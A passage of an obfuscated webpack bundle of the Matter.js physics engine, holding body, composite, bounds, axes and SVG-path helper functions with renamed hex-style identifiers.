+ (0x1 - 0x2 * _0x3dc84f) * _0x39617b, _0x3b06f8 = _0x4c004f + _0x1300e4; _0x112c0f = _0x3dc84f < 0.5 ? 'L\x200\x200\x20L\x20' + _0x1300e4 + '\x20' + -_0x1cb012 + '\x20L\x20' + _0x4c004f + '\x20' + -_0x1cb012 + '\x20L\x20' + _0x3b06f8 + '\x200' : 'L\x200\x200\x20L\x20' + _0x4c004f + '\x20' + -_0x1cb012 + '\x20L\x20' + _0x3b06f8 + '\x200'; var _0x18f413 = { 'label': 'Trapezoid\x20Body', 'position': { 'x': _0x3f8792, 'y': _0xa111b1 }, 'vertices': _0xb278bc['fromPath'](_0x112c0f) }; if (_0x55563a['chamfer']) { var _0x3af00a = _0x55563a['chamfer']; _0x18f413['vertices'] = _0xb278bc['chamfer'](_0x18f413['vertices'], _0x3af00a['radius'], _0x3af00a['quality'], _0x3af00a['qualityMin'], _0x3af00a['qualityMax']), delete _0x55563a['chamfer']; } return _0x5483ed['create'](_0x3e1462['extend']({}, _0x18f413, _0x55563a)); }, _0x137352['circle'] = function (_0x519b7a, _0x3ab48, _0x1e04fb, _0x289759, _0x2dc621) { _0x289759 = _0x289759 || {}; var _0x11fc3c = { 'label': 'Circle\x20Body', 'circleRadius': _0x1e04fb }; _0x2dc621 = _0x2dc621 || 0x19; var _0x422843 = Math['ceil'](Math['max'](0xa, Math['min'](_0x2dc621, _0x1e04fb))); return _0x422843 % 0x2 == 0x1 && (_0x422843 += 0x1), _0x137352['polygon'](_0x519b7a, _0x3ab48, _0x422843, _0x1e04fb, _0x3e1462['extend']({}, _0x11fc3c, _0x289759)); }, _0x137352['polygon'] = function (_0x523211, _0x3f76d7, _0x5f1be4, _0x3c4969, _0x49cda2) { if (_0x49cda2 = _0x49cda2 || {}, _0x5f1be4 < 0x3) return _0x137352['circle'](_0x523211, _0x3f76d7, _0x3c4969, _0x49cda2); for (var _0x250f59 = 0x2 * Math['PI'] / _0x5f1be4, _0x47c54a = '', _0x1302d8 = 0.5 * _0x250f59, _0x3f7591 = 0x0; _0x3f7591 < _0x5f1be4; _0x3f7591 += 0x1) { var _0x225ae2 = _0x1302d8 + _0x3f7591 * _0x250f59, _0x22dbff = Math['cos'](_0x225ae2) * _0x3c4969, _0x2ac6e6 = Math['sin'](_0x225ae2) * _0x3c4969; _0x47c54a += 'L\x20' + _0x22dbff['toFixed'](0x3) + '\x20' + _0x2ac6e6['toFixed'](0x3) + '\x20'; } var _0x2813d9 = { 'label': 'Polygon\x20Body', 'position': { 'x': _0x523211, 'y': _0x3f76d7 }, 'vertices': _0xb278bc['fromPath'](_0x47c54a) }; if (_0x49cda2['chamfer']) { var _0x9b41af = _0x49cda2['chamfer']; _0x2813d9['vertices'] = _0xb278bc['chamfer'](_0x2813d9['vertices'], _0x9b41af['radius'], _0x9b41af['quality'], _0x9b41af['qualityMin'], _0x9b41af['qualityMax']), delete _0x49cda2['chamfer']; } return _0x5483ed['create'](_0x3e1462['extend']({}, _0x2813d9, _0x49cda2)); }, _0x137352['fromVertices'] = function (_0x338f32, _0x4b0ab6, _0x170788, _0x9ab74, _0x21d65c, _0x2b4b92, _0x41b14d, _0x5280c5) { var _0x7b6f20, _0x3a3bd5, _0x4b8e60, _0x2849d2, _0x546d69, _0xb8f135, _0x23a5c2, _0x2905ac, _0x171b83, _0xb08734, _0x3431f3 = _0x3e1462['getDecomp'](); for (_0x7b6f20 = Boolean(_0x3431f3 && _0x3431f3['quickDecomp']), _0x9ab74 = _0x9ab74 || {}, _0x4b8e60 = [], _0x21d65c = void 0x0 !== _0x21d65c && _0x21d65c, _0x2b4b92 = void 0x0 !== _0x2b4b92 ? _0x2b4b92 : 0.01, _0x41b14d = void 0x0 !== _0x41b14d ? _0x41b14d : 0xa, _0x5280c5 = void 0x0 !== _0x5280c5 ? _0x5280c5 : 0.01, _0x3e1462['isArray'](_0x170788[0x0]) || (_0x170788 = [_0x170788]), _0x171b83 = 0x0; _0x171b83 < _0x170788['length']; _0x171b83 += 0x1)if (_0x546d69 = _0x170788[_0x171b83], !(_0x2849d2 = _0xb278bc['isConvex'](_0x546d69)) && !_0x7b6f20 && _0x3e1462['warnOnce']('Bodies.fromVertices:\x20Install\x20the\x20\x27poly-decomp\x27\x20library\x20and\x20use\x20Common.setDecomp\x20or\x20provide\x20\x27decomp\x27\x20as\x20a\x20global\x20to\x20decompose\x20concave\x20vertices.'), _0x2849d2 || !_0x7b6f20) _0x546d69 = _0x2849d2 ? _0xb278bc['clockwiseSort'](_0x546d69) : _0xb278bc['hull'](_0x546d69), _0x4b8e60['push']({ 'position': { 'x': _0x338f32, 'y': _0x4b0ab6 }, 'vertices': _0x546d69 }); else { var _0x90cd22 = _0x546d69['map'](function (_0x3f81f6) { return [_0x3f81f6['x'], _0x3f81f6['y']]; }); _0x3431f3['makeCCW'](_0x90cd22), !0x1 !== _0x2b4b92 && _0x3431f3['removeCollinearPoints'](_0x90cd22, _0x2b4b92), !0x1 !== _0x5280c5 && _0x3431f3['removeDuplicatePoints'] && _0x3431f3['removeDuplicatePoints'](_0x90cd22, _0x5280c5); var _0x466eed = _0x3431f3['quickDecomp'](_0x90cd22); for (_0xb8f135 = 0x0; _0xb8f135 < _0x466eed['length']; _0xb8f135++) { var _0x59b771 = _0x466eed[_0xb8f135]['map'](function (_0x5de748) { return { 'x': _0x5de748[0x0], 'y': _0x5de748[0x1] }; }); _0x41b14d > 0x0 && _0xb278bc['area'](_0x59b771) < _0x41b14d || _0x4b8e60['push']({ 'position': _0xb278bc['centre'](_0x59b771), 'vertices': _0x59b771 }); } } for (_0xb8f135 = 0x0; _0xb8f135 < _0x4b8e60['length']; _0xb8f135++)_0x4b8e60[_0xb8f135] = _0x5483ed['create'](_0x3e1462['extend'](_0x4b8e60[_0xb8f135], _0x9ab74)); if (_0x21d65c) for (_0xb8f135 = 0x0; _0xb8f135 < _0x4b8e60['length']; _0xb8f135++) { var _0x33b40c = _0x4b8e60[_0xb8f135]; for (_0x23a5c2 = _0xb8f135 + 0x1; _0x23a5c2 < _0x4b8e60['length']; _0x23a5c2++) { var _0x215765 = _0x4b8e60[_0x23a5c2]; if (_0x3b4544['overlaps'](_0x33b40c['bounds'], _0x215765['bounds'])) { var _0x167a80 = _0x33b40c['vertices'], _0x410ab5 = _0x215765['vertices']; for (_0x2905ac = 0x0; _0x2905ac < _0x33b40c['vertices']['length']; _0x2905ac++)for (_0xb08734 = 0x0; _0xb08734 < _0x215765['vertices']['length']; _0xb08734++) { var _0x2de937 = _0x5103d2['magnitudeSquared'](_0x5103d2['sub'](_0x167a80[(_0x2905ac + 0x1) % _0x167a80['length']], _0x410ab5[_0xb08734])), _0x41a5f0 = _0x5103d2['magnitudeSquared'](_0x5103d2['sub'](_0x167a80[_0x2905ac], _0x410ab5[(_0xb08734 + 0x1) % _0x410ab5['length']])); _0x2de937 < 0x5 && _0x41a5f0 < 0x5 && (_0x167a80[_0x2905ac]['isInternal'] = !0x0, _0x410ab5[_0xb08734]['isInternal'] = !0x0); } } } } return _0x4b8e60['length'] > 0x1 ? (_0x3a3bd5 = _0x5483ed['create'](_0x3e1462['extend']({ 'parts': _0x4b8e60['slice'](0x0) }, _0x9ab74)), _0x5483ed['setPosition'](_0x3a3bd5, { 'x': _0x338f32, 'y': _0x4b0ab6 }), _0x3a3bd5) : _0x4b8e60[0x0]; }, _0x137352['flagCoincidentParts'] = function (_0x3a8f9b, _0x332dc4) { void 0x0 === _0x332dc4 && (_0x332dc4 = 0x5); for (var _0x48b594 = 0x0; _0x48b594 < _0x3a8f9b['length']; _0x48b594++)for (var _0x21c2d4 = _0x3a8f9b[_0x48b594], _0xa6921c = _0x48b594 + 0x1; _0xa6921c < _0x3a8f9b['length']; _0xa6921c++) { var _0x766c92 = _0x3a8f9b[_0xa6921c]; if (_0x3b4544['overlaps'](_0x21c2d4['bounds'], _0x766c92['bounds'])) { for (var _0x17de2a = _0x21c2d4['vertices'], _0x302a06 = _0x766c92['vertices'], _0x1540a2 = 0x0; _0x1540a2 < _0x21c2d4['vertices']['length']; _0x1540a2++)for (var _0x50762e = 0x0; _0x50762e < _0x766c92['vertices']['length']; _0x50762e++) { var _0x141eb7 = _0x5103d2['magnitudeSquared'](_0x5103d2['sub'](_0x17de2a[(_0x1540a2 + 0x1) % _0x17de2a['length']], _0x302a06[_0x50762e])), _0x406636 = _0x5103d2['magnitudeSquared'](_0x5103d2['sub'](_0x17de2a[_0x1540a2], _0x302a06[(_0x50762e + 0x1) % _0x302a06['length']])); _0x141eb7 < _0x332dc4 && _0x406636 < _0x332dc4 && (_0x17de2a[_0x1540a2]['isInternal'] = !0x0, _0x302a06[_0x50762e]['isInternal'] = !0x0); } } } return _0x3a8f9b; }; }, 0x12184: (_0x4d1e25, _0x465c10, _0x29d8a1) => { var _0x2763b4 = {}; _0x4d1e25['exports'] = _0x2763b4; var _0x5dc77f = _0x29d8a1(0x10ee7), _0x1fd0e2 = _0x29d8a1(0xbc0c), _0x17af46 = _0x29d8a1(0xd09a), _0xcdfc78 = _0x29d8a1(0x5822), _0x24d5ac = _0x29d8a1(0x102e8); _0x2763b4['stack'] = function (_0x2459c5, _0x164e82, _0x56b30c, _0x9b6160, _0x105534, _0x32de3d, _0x3fd42e) { for (var _0x4c87b1, _0x41a71b = _0x5dc77f['create']({ 'label': 'Stack' }), _0x3cf318 = _0x2459c5, _0x2fb6c8 = _0x164e82, _0x24ca54 = 0x0, _0x253376 = 0x0; _0x253376 < _0x9b6160; _0x253376++) { for (var _0x5b3f2e = 0x0, _0x1369fa = 0x0; _0x1369fa < _0x56b30c; _0x1369fa++) { var _0x3c2242 = _0x3fd42e(_0x3cf318, _0x2fb6c8, _0x1369fa, _0x253376, _0x4c87b1, _0x24ca54); if (_0x3c2242) { var _0x3ced3c = _0x3c2242['bounds']['max']['y'] - _0x3c2242['bounds']['min']['y'], _0x3ac68b = _0x3c2242['bounds']['max']['x'] - _0x3c2242['bounds']['min']['x']; _0x3ced3c > _0x5b3f2e && (_0x5b3f2e = _0x3ced3c), _0xcdfc78['translate'](_0x3c2242, { 'x': 0.5 * _0x3ac68b, 'y': 0.5 * _0x3ced3c }), _0x3cf318 = _0x3c2242['bounds']['max']['x'] + _0x105534, _0x5dc77f['addBody'](_0x41a71b, _0x3c2242), _0x4c87b1 = _0x3c2242, _0x24ca54 += 0x1; } else _0x3cf318 += _0x105534; } _0x2fb6c8 += _0x5b3f2e + _0x32de3d, _0x3cf318 = _0x2459c5; } return _0x41a71b; }, _0x2763b4['chain'] = function (_0x31ed77, _0x34614f, _0x1c656e, _0x32db5d, _0x19bf3b, _0x56358d) { for (var _0xd97bfb = _0x31ed77['bodies'], _0x372cdd = 0x1; _0x372cdd < _0xd97bfb['length']; _0x372cdd++) { var _0xe37c86 = _0xd97bfb[_0x372cdd - 0x1], _0x5eea88 = _0xd97bfb[_0x372cdd], _0x40fc05 = _0xe37c86['bounds']['max']['y'] - _0xe37c86['bounds']['min']['y'], _0x34a8b0 = _0xe37c86['bounds']['max']['x'] - _0xe37c86['bounds']['min']['x'], _0x18f095 = _0x5eea88['bounds']['max']['y'] - _0x5eea88['bounds']['min']['y'], _0x42a81b = { 'bodyA': _0xe37c86, 'pointA': { 'x': _0x34a8b0 * _0x34614f, 'y': _0x40fc05 * _0x1c656e }, 'bodyB': _0x5eea88, 'pointB': { 'x': (_0x5eea88['bounds']['max']['x'] - _0x5eea88['bounds']['min']['x']) * _0x32db5d, 'y': _0x18f095 * _0x19bf3b } }, _0x13dc30 = _0x17af46['extend'](_0x42a81b, _0x56358d); _0x5dc77f['addConstraint'](_0x31ed77, _0x1fd0e2['create'](_0x13dc30)); } return _0x31ed77['label'] += '\x20Chain', _0x31ed77; }, _0x2763b4['mesh'] = function (_0x59e877, _0x6807f8, _0x2cfc19, _0x2dc80c, _0x4e07fd) { var _0x37b7ae, _0x1e33db, _0x52b530, _0x5956d6, _0x401057, _0x1b6aa2 = _0x59e877['bodies']; for (_0x37b7ae = 0x0; _0x37b7ae < _0x2cfc19; _0x37b7ae++) { for (_0x1e33db = 0x1; _0x1e33db < _0x6807f8; _0x1e33db++)_0x52b530 = _0x1b6aa2[_0x1e33db - 0x1 + _0x37b7ae * _0x6807f8], _0x5956d6 = _0x1b6aa2[_0x1e33db + _0x37b7ae * _0x6807f8], _0x5dc77f['addConstraint'](_0x59e877, _0x1fd0e2['create'](_0x17af46['extend']({ 'bodyA': _0x52b530, 'bodyB': _0x5956d6 }, _0x4e07fd))); if (_0x37b7ae > 0x0) { for (_0x1e33db = 0x0; _0x1e33db < _0x6807f8; _0x1e33db++)_0x52b530 = _0x1b6aa2[_0x1e33db + (_0x37b7ae - 0x1) * _0x6807f8], _0x5956d6 = _0x1b6aa2[_0x1e33db + _0x37b7ae * _0x6807f8], _0x5dc77f['addConstraint'](_0x59e877, _0x1fd0e2['create'](_0x17af46['extend']({ 'bodyA': _0x52b530, 'bodyB': _0x5956d6 }, _0x4e07fd))), _0x2dc80c && _0x1e33db > 0x0 && (_0x401057 = _0x1b6aa2[_0x1e33db - 0x1 + (_0x37b7ae - 0x1) * _0x6807f8], _0x5dc77f['addConstraint'](_0x59e877, _0x1fd0e2['create'](_0x17af46['extend']({ 'bodyA': _0x401057, 'bodyB': _0x5956d6 }, _0x4e07fd)))), _0x2dc80c && _0x1e33db < _0x6807f8 - 0x1 && (_0x401057 = _0x1b6aa2[_0x1e33db + 0x1 + (_0x37b7ae - 0x1) * _0x6807f8], _0x5dc77f['addConstraint'](_0x59e877, _0x1fd0e2['create'](_0x17af46['extend']({ 'bodyA': _0x401057, 'bodyB': _0x5956d6 }, _0x4e07fd)))); } } return _0x59e877['label'] += '\x20Mesh', _0x59e877; }, _0x2763b4['pyramid'] = function (_0x4cddf6, _0x49cff1, _0xd5f359, _0x316b29, _0x2c3897, _0x6ebaf5, _0x3326eb) { return _0x2763b4['stack'](_0x4cddf6, _0x49cff1, _0xd5f359, _0x316b29, _0x2c3897, _0x6ebaf5, function (_0x2a6cb5, _0x39509e, _0x257752, _0x32c22c, _0xc60f78, _0x54cf8e) { var _0x411fe4 = Math['min'](_0x316b29, Math['ceil'](_0xd5f359 / 0x2)), _0x1fa8dc = _0xc60f78 ? _0xc60f78['bounds']['max']['x'] - _0xc60f78['bounds']['min']['x'] : 0x0; if (!(_0x32c22c > _0x411fe4 || _0x257752 < (_0x32c22c = _0x411fe4 - _0x32c22c) || _0x257752 > _0xd5f359 - 0x1 - _0x32c22c)) return 0x1 === _0x54cf8e && _0xcdfc78['translate'](_0xc60f78, { 'x': (_0x257752 + (_0xd5f359 % 0x2 == 0x1 ? 0x1 : -0x1)) * _0x1fa8dc, 'y': 0x0 }), _0x3326eb(_0x4cddf6 + (_0xc60f78 ? _0x257752 * _0x1fa8dc : 0x0) + _0x257752 * _0x2c3897, _0x39509e, _0x257752, _0x32c22c, _0xc60f78, _0x54cf8e); }); }, _0x2763b4['newtonsCradle'] = function (_0x4c6f07, _0x3526a6, _0x4d21fa, _0x38efbe, _0x2ad7f8) { for (var _0xb18769 = _0x5dc77f['create']({ 'label': 'Newtons\x20Cradle' }), _0x246e7a = 0x0; _0x246e7a < _0x4d21fa; _0x246e7a++) { var _0x4eee58 = _0x24d5ac['circle'](_0x4c6f07 + _0x246e7a * (1.9 * _0x38efbe), _0x3526a6 + _0x2ad7f8, _0x38efbe, { 'inertia': 0x1 / 0x0, 'restitution': 0x1, 'friction': 0x0, 'frictionAir': 0.0001, 'slop': 0x1 }), _0x580003 = _0x1fd0e2['create']({ 'pointA': { 'x': _0x4c6f07 + _0x246e7a * (1.9 * _0x38efbe), 'y': _0x3526a6 }, 'bodyB': _0x4eee58 }); _0x5dc77f['addBody'](_0xb18769, _0x4eee58), _0x5dc77f['addConstraint'](_0xb18769, _0x580003); } return _0xb18769; }, _0x2763b4['car'] = function (_0x289242, _0xc44b1a, _0x98e5ca, _0xf4c228, _0x4d73c3) { var _0x348b16 = _0xcdfc78['nextGroup'](!0x0), _0x3558e3 = 0.5 * -_0x98e5ca + 0x14, _0x3ca0f2 = 0.5 * _0x98e5ca - 0x14, _0x5b7c16 = _0x5dc77f['create']({ 'label': 'Car' }), _0x3ed28a = _0x24d5ac['rectangle'](_0x289242, _0xc44b1a, _0x98e5ca, _0xf4c228, { 'collisionFilter': { 'group': _0x348b16 }, 'chamfer': { 'radius': 0.5 * _0xf4c228 }, 'density': 0.0002 }), _0x297428 = _0x24d5ac['circle'](_0x289242 + _0x3558e3, _0xc44b1a + 0x0, _0x4d73c3, { 'collisionFilter': { 'group': _0x348b16 }, 'friction': 0.8 }), _0x39d4e8 = _0x24d5ac['circle'](_0x289242 + _0x3ca0f2, _0xc44b1a + 0x0, _0x4d73c3, { 'collisionFilter': { 'group': _0x348b16 }, 'friction': 0.8 }), _0x48d5fd = _0x1fd0e2['create']({ 'bodyB': _0x3ed28a, 'pointB': { 'x': _0x3558e3, 'y': 0x0 }, 'bodyA': _0x297428, 'stiffness': 0x1, 'length': 0x0 }), _0x28ee73 = _0x1fd0e2['create']({ 'bodyB': _0x3ed28a, 'pointB': { 'x': _0x3ca0f2, 'y': 0x0 }, 'bodyA': _0x39d4e8, 'stiffness': 0x1, 'length': 0x0 }); return _0x5dc77f['addBody'](_0x5b7c16, _0x3ed28a), _0x5dc77f['addBody'](_0x5b7c16, _0x297428), _0x5dc77f['addBody'](_0x5b7c16, _0x39d4e8), _0x5dc77f['addConstraint'](_0x5b7c16, _0x48d5fd), _0x5dc77f['addConstraint'](_0x5b7c16, _0x28ee73), _0x5b7c16; }, _0x2763b4['softBody'] = function (_0x2091c4, _0x217293, _0x5f56f2, _0x212d03, _0x468fbc, _0x2d41dc, _0x4ab365, _0x480ad3, _0x486e5d, _0x38679e) { _0x486e5d = _0x17af46['extend']({ 'inertia': 0x1 / 0x0 }, _0x486e5d), _0x38679e = _0x17af46['extend']({ 'stiffness': 0.2, 'render': { 'type': 'line', 'anchors': !0x1 } }, _0x38679e); var _0x2940de = _0x2763b4['stack'](_0x2091c4, _0x217293, _0x5f56f2, _0x212d03, _0x468fbc, _0x2d41dc, function (_0x1bf8ed, _0xa5d7b0) { return _0x24d5ac['circle'](_0x1bf8ed, _0xa5d7b0, _0x480ad3, _0x486e5d); }); return _0x2763b4['mesh'](_0x2940de, _0x5f56f2, _0x212d03, _0x4ab365, _0x38679e), _0x2940de['label'] = 'Soft\x20Body', _0x2940de; }; }, 0x10437: (_0x1e8e24, _0x1e51f7, _0x179b2d) => { var _0x5e862e = {}; _0x1e8e24['exports'] = _0x5e862e; var _0xc49870 = _0x179b2d(0x7bed), _0x5930de = _0x179b2d(0xd09a); _0x5e862e['fromVertices'] = function (_0x36be49) { for (var _0x1fb8bf = {}, _0x5ca64f = 0x0; _0x5ca64f < _0x36be49['length']; _0x5ca64f++) { var _0x2398be = (_0x5ca64f + 0x1) % _0x36be49['length'], _0x548b0 = _0xc49870['normalise']({ 'x': _0x36be49[_0x2398be]['y'] - _0x36be49[_0x5ca64f]['y'], 'y': _0x36be49[_0x5ca64f]['x'] - _0x36be49[_0x2398be]['x'] }), _0x18a628 = 0x0 === _0x548b0['y'] ? 0x1 / 0x0 : _0x548b0['x'] / _0x548b0['y']; _0x1fb8bf[_0x18a628 = _0x18a628['toFixed'](0x3)['toString']()] = _0x548b0; } return _0x5930de['values'](_0x1fb8bf); }, _0x5e862e['rotate'] = function (_0x43efbe, _0x863f30) { if (0x0 !== _0x863f30) for (var _0x12c1fe = Math['cos'](_0x863f30), _0x577d59 = Math['sin'](_0x863f30), _0x275def = 0x0; _0x275def < _0x43efbe['length']; _0x275def++) { var _0x1ade09, _0x1b0487 = _0x43efbe[_0x275def]; _0x1ade09 = _0x1b0487['x'] * _0x12c1fe - _0x1b0487['y'] * _0x577d59, _0x1b0487['y'] = _0x1b0487['x'] * _0x577d59 + _0x1b0487['y'] * _0x12c1fe, _0x1b0487['x'] = _0x1ade09; } }; }, 0x3d1f: _0x49c49d => { var _0x94030 = {}; _0x49c49d['exports'] = _0x94030, _0x94030['create'] = function (_0x3780c9) { var _0x30c44b = { 'min': { 'x': 0x0, 'y': 0x0 }, 'max': { 'x': 0x0, 'y': 0x0 } }; return _0x3780c9 && _0x94030['update'](_0x30c44b, _0x3780c9), _0x30c44b; }, _0x94030['update'] = function (_0x5b1568, _0x2dc5a0, _0x86c4c) { _0x5b1568['min']['x'] = 0x1 / 0x0, _0x5b1568['max']['x'] = -0x1 / 0x0, _0x5b1568['min']['y'] = 0x1 / 0x0, _0x5b1568['max']['y'] = -0x1 / 0x0; for (var _0x251f2e = 0x0; _0x251f2e < _0x2dc5a0['length']; _0x251f2e++) { var _0x1b25a6 = _0x2dc5a0[_0x251f2e]; _0x1b25a6['x'] > _0x5b1568['max']['x'] && (_0x5b1568['max']['x'] = _0x1b25a6['x']), _0x1b25a6['x'] < _0x5b1568['min']['x'] && (_0x5b1568['min']['x'] = _0x1b25a6['x']), _0x1b25a6['y'] > _0x5b1568['max']['y'] && (_0x5b1568['max']['y'] = _0x1b25a6['y']), _0x1b25a6['y'] < _0x5b1568['min']['y'] && (_0x5b1568['min']['y'] = _0x1b25a6['y']); } _0x86c4c && (_0x86c4c['x'] > 0x0 ? _0x5b1568['max']['x'] += _0x86c4c['x'] : _0x5b1568['min']['x'] += _0x86c4c['x'], _0x86c4c['y'] > 0x0 ? _0x5b1568['max']['y'] += _0x86c4c['y'] : _0x5b1568['min']['y'] += _0x86c4c['y']); }, _0x94030['contains'] = function (_0x2e2f9b, _0x225c84) { return _0x225c84['x'] >= _0x2e2f9b['min']['x'] && _0x225c84['x'] <= _0x2e2f9b['max']['x'] && _0x225c84['y'] >= _0x2e2f9b['min']['y'] && _0x225c84['y'] <= _0x2e2f9b['max']['y']; }, _0x94030['overlaps'] = function (_0x4407fb, _0x4b25f7) { return _0x4407fb['min']['x'] <= _0x4b25f7['max']['x'] && _0x4407fb['max']['x'] >= _0x4b25f7['min']['x'] && _0x4407fb['max']['y'] >= _0x4b25f7['min']['y'] && _0x4407fb['min']['y'] <= _0x4b25f7['max']['y']; }, _0x94030['translate'] = function (_0x46d613, _0x138561) { _0x46d613['min']['x'] += _0x138561['x'], _0x46d613['max']['x'] += _0x138561['x'], _0x46d613['min']['y'] += _0x138561['y'], _0x46d613['max']['y'] += _0x138561['y']; }, _0x94030['shift'] = function (_0x343452, _0x36d9f5) { var _0x1e1fb5 = _0x343452['max']['x'] - _0x343452['min']['x'], _0x2ab82d = _0x343452['max']['y'] - _0x343452['min']['y']; _0x343452['min']['x'] = _0x36d9f5['x'], _0x343452['max']['x'] = _0x36d9f5['x'] + _0x1e1fb5, _0x343452['min']['y'] = _0x36d9f5['y'], _0x343452['max']['y'] = _0x36d9f5['y'] + _0x2ab82d; }, _0x94030['wrap'] = function (_0x3a794f, _0x3c9d30, _0x3b8e5c) { var _0x433c53 = null, _0x340f18 = null; if (void 0x0 !== _0x3c9d30['min']['x'] && void 0x0 !== _0x3c9d30['max']['x'] && (_0x3a794f['min']['x'] > _0x3c9d30['max']['x'] ? _0x433c53 = _0x3c9d30['min']['x'] - _0x3a794f['max']['x'] : _0x3a794f['max']['x'] < _0x3c9d30['min']['x'] && (_0x433c53 = _0x3c9d30['max']['x'] - _0x3a794f['min']['x'])), void 0x0 !== _0x3c9d30['min']['y'] && void 0x0 !== _0x3c9d30['max']['y'] && (_0x3a794f['min']['y'] > _0x3c9d30['max']['y'] ? _0x340f18 = _0x3c9d30['min']['y'] - _0x3a794f['max']['y'] : _0x3a794f['max']['y'] < _0x3c9d30['min']['y'] && (_0x340f18 = _0x3c9d30['max']['y'] - _0x3a794f['min']['y'])), null !== _0x433c53 || null !== _0x340f18) return { 'x': _0x433c53 || 0x0, 'y': _0x340f18 || 0x0 }; }; }, 0x1214a: (_0x20d9fd, _0x2e2739, _0x288795) => { var _0x333bf6 = {}; _0x20d9fd['exports'] = _0x333bf6, _0x288795(0x3d1f); var _0x54efd2 = _0x288795(0xd09a); _0x333bf6['pathToVertices'] = function (_0xfb942a, _0xf77cba) { 'undefined' == typeof window || 'SVGPathSeg' in window || _0x54efd2['warn']('Svg.pathToVertices:\x20SVGPathSeg\x20not\x20defined,\x20a\x20polyfill\x20is\x20required.'); var _0x4e6ac5, _0x204c01, _0x966c74, _0x3ba9f6, _0x43dcb9, _0x2efc9a, _0x207976, _0xa5b6d7, _0x301b43, _0xa3e608, _0x58e4d0, _0x53d5f0 = [], _0x3175c1 = 0x0, _0x1406fb = 0x0, _0x1b4126 = 0x0; _0xf77cba = _0xf77cba || 0xf; var _0x33955c = function (_0x1edeee, _0x2bab48, _0x4a2ec2) { var _0x5a6690 = _0x4a2ec2 % 0x2 == 0x1 && _0x4a2ec2 > 0x1; if (!_0x301b43 || _0x1edeee != _0x301b43['x'] || _0x2bab48 != _0x301b43['y']) { _0x301b43 && _0x5a6690 ? (_0xa3e608 = _0x301b43['x'], _0x58e4d0 = _0x301b43['y']) : (_0xa3e608 = 0x0, _0x58e4d0 = 0x0); var _0x31db74 = { 'x': _0xa3e608 + _0x1edeee, 'y': _0x58e4d0 + _0x2bab48 }; !_0x5a6690 && _0x301b43 || (_0x301b43 = _0x31db74), _0x53d5f0['push'](_0x31db74), _0x1406fb = _0xa3e608 + _0x1edeee, _0x1b4126 = _0x58e4d0 + _0x2bab48; } }, _0x208ebb = function (_0x1d3e5c) { var _0x3d96f6 = _0x1d3e5c['pathSegTypeAsLetter']['toUpperCase'](); if ('Z' !== _0x3d96f6) { switch (_0x3d96f6) { case 'M': case 'L': case 'T': case 'C': case 'S': case 'Q': _0x1406fb = _0x1d3e5c['x'], _0x1b4126 = _0x1d3e5c['y']; break; case 'H': _0x1406fb = _0x1d3e5c['x']; break; case 'V': _0x1b4126 = _0x1d3e5c['y']; }_0x33955c(_0x1406fb, _0x1b4126, _0x1d3e5c['pathSegType']); } }; for (_0x333bf6['_svgPathToAbsolute'](_0xfb942a), _0x966c74 = _0xfb942a['getTotalLength'](), _0x2efc9a = [], _0x4e6ac5 = 0x0; _0x4e6ac5 < _0xfb942a['pathSegList']['numberOfItems']; _0x4e6ac5 += 0x1)_0x2efc9a['push'](_0xfb942a['pathSegList']['getItem'](_0x4e6ac5)); for (_0x207976 = _0x2efc9a['concat'](); _0x3175c1 < _0x966c74;) { if ((_0x43dcb9 = _0x2efc9a[_0xfb942a['getPathSegAtLength'](_0x3175c1)]) != _0xa5b6d7) { for (; _0x207976['length'] && _0x207976[0x0] != _0x43dcb9;)_0x208ebb(_0x207976['shift']()); _0xa5b6d7 = _0x43dcb9; } switch (_0x43dcb9['pathSegTypeAsLetter']['toUpperCase']()) { case 'C': case 'T': case 'S': case 'Q': case 'A': _0x3ba9f6 = _0xfb942a['getPointAtLength'](_0x3175c1), _0x33955c(_0x3ba9f6['x'], _0x3ba9f6['y'], 0x0); }_0x3175c1 += _0xf77cba; } for (_0x4e6ac5 = 0x0, _0x204c01 = _0x207976['length']; _0x4e6ac5 < _0x204c01; ++_0x4e6ac5)_0x208ebb(_0x207976[_0x4e6ac5]); return _0x53d5f0; }, _0x333bf6['_svgPathToAbsolute'] = function (_0x6d6f57) { for (var _0x5afc67, _0x127b0a, _0x48c2f6, _0x147fa8, _0x112972, _0x1a3480, _0x4d8241 = _0x6d6f57['pathSegList'], _0x2a6dfc = 0x0, _0x1ebd58 = 0x0, _0x271106 = _0x4d8241['numberOfItems'], _0x5423ce = 0x0; _0x5423ce < _0x271106; ++_0x5423ce) { var _0x3962c6 = _0x4d8241['getItem'](_0x5423ce), _0x2968f5 = _0x3962c6['pathSegTypeAsLetter']; if (/[MLHVCSQTA]/['test'](_0x2968f5)) 'x' in _0x3962c6 && (_0x2a6dfc = _0x3962c6['x']), 'y' in _0x3962c6 && (_0x1ebd58 = _0x3962c6['y']); else switch ('x1' in _0x3962c6 && (_0x48c2f6 = _0x2a6dfc + _0x3962c6['x1']), 'x2' in _0x3962c6 && (_0x112972 = _0x2a6dfc + _0x3962c6['x2']), 'y1' in _0x3962c6 && (_0x147fa8 = _0x1ebd58 + _0x3962c6['y1']), 'y2' in _0x3962c6 && (_0x1a3480 = _0x1ebd58 + _0x3962c6['y2']), 'x' in _0x3962c6 && (_0x2a6dfc += _0x3962c6['x']), 'y' in _0x3962c6 && (_0x1ebd58 += _0x3962c6['y']), _0x2968f5) { case 'm': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegMovetoAbs'](_0x2a6dfc, _0x1ebd58), _0x5423ce); break; case 'l': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegLinetoAbs'](_0x2a6dfc, _0x1ebd58), _0x5423ce); break; case 'h': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegLinetoHorizontalAbs'](_0x2a6dfc), _0x5423ce); break; case 'v': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegLinetoVerticalAbs'](_0x1ebd58), _0x5423ce); break; case 'c': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegCurvetoCubicAbs'](_0x2a6dfc, _0x1ebd58, _0x48c2f6, _0x147fa8, _0x112972, _0x1a3480), _0x5423ce); break; case 's': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegCurvetoCubicSmoothAbs'](_0x2a6dfc, _0x1ebd58, _0x112972, _0x1a3480), _0x5423ce); break; case 'q': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegCurvetoQuadraticAbs'](_0x2a6dfc, _0x1ebd58, _0x48c2f6, _0x147fa8), _0x5423ce); break; case 't': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegCurvetoQuadraticSmoothAbs'](_0x2a6dfc, _0x1ebd58), 